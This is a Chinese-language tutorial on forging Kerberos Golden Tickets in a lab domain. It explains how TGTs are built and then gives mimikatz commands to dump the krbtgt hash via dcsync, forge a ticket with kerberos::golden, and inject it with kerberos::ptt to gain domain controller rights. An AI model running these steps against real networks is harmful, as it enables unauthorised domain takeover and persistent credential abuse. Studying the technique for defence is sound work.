Pass The Ticket之黄金票据

前言

在横向渗透中,利用Ticket票据进行横向常常用在域环境里。常见的有三种攻击方式:ms14-068、Golden Ticket(黄金票据)、Silver Ticket(白银票据)
我们今天学习Golden Ticket(黄金票据)

概念

在了解了kerberos协议,Client和Server通信大概经过三次认证。具体参考之前学习的kerberos认证学习。Client通过了第一次AS认证,返回给TGT用于第二次认证。
如果TGT被伪造,即跳过了AS认证,直接进行第二次认证,就可以和任意的Server进行通信。而伪造的TGT叫做黄金票据,也被称为认证票据。

原理

那么TGT如何伪造呢?就得看一下TGT是怎么产生的。是在第一次认证中,KDC返回给Client两部分内容。
一部分:Client NTLM-Hash 加密的Session-key as
一部分:TGT(krbtgt 域账户的NTLM Hash 加密的Session-key as、 Client-info、timestamp)

也就是当我们拥有krbtgt 域账号NTLM-Hash的情况下,即获取域管理员权限。就可以伪造黄金票据(Golden TGT)

利用条件

krbtgt NTLM-Hash:仅保存在域控服务器的活动目录中。也就是说我们需要获取域控制器的权限。
域账户名称:通常是域管理员Administrator
域名称
域SID
导出krbtgt皆有以上信息

黄金票据,通常在拿下域控后用来作权限维持的一种方式。因为krbtgt 域账户的密码基本不会更改,即使域管密码被修改,它也不会改变。

伪造黄金票据

实验环境
域控制器:Server 2012
域用户:Server 2008

1.获取krbtgt 域账户的NTLN-Hash
在域控上mimikatz导出krbtgt hash

1
mimikatz log "lsadump::dcsync  /domain:tide.org /user:krbtgt"

可看到以下信息

1
2
3
Hash NTLM : 264d69c269433dacf814799a4e6e92e5
SID: S-1-5-21-1082813543-4064396809-3123302706 不要RID值(502)
domain: tide.org

2.生成黄金票据
在域用户server 2008 上使用mimikatz生成黄金票据

1
2
kerberos::purge  清空缓存
kerberos::golden /admin:Administrator /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /krbtgt:264d69c269433dacf814799a4e6e92e5 /ticket:Administrator.kiribi

执行后会生成Administrator.kiribi

3. 伪造黄金票据获取域控权限
mimikatz导入该黄金票据

1
kerberos::ptt Administrator.kiribi

即可获得域控权限。

参考资料

域渗透 - Pass the Ticket之金票&银票
Kerberos的黄金票据详解
域渗透之票据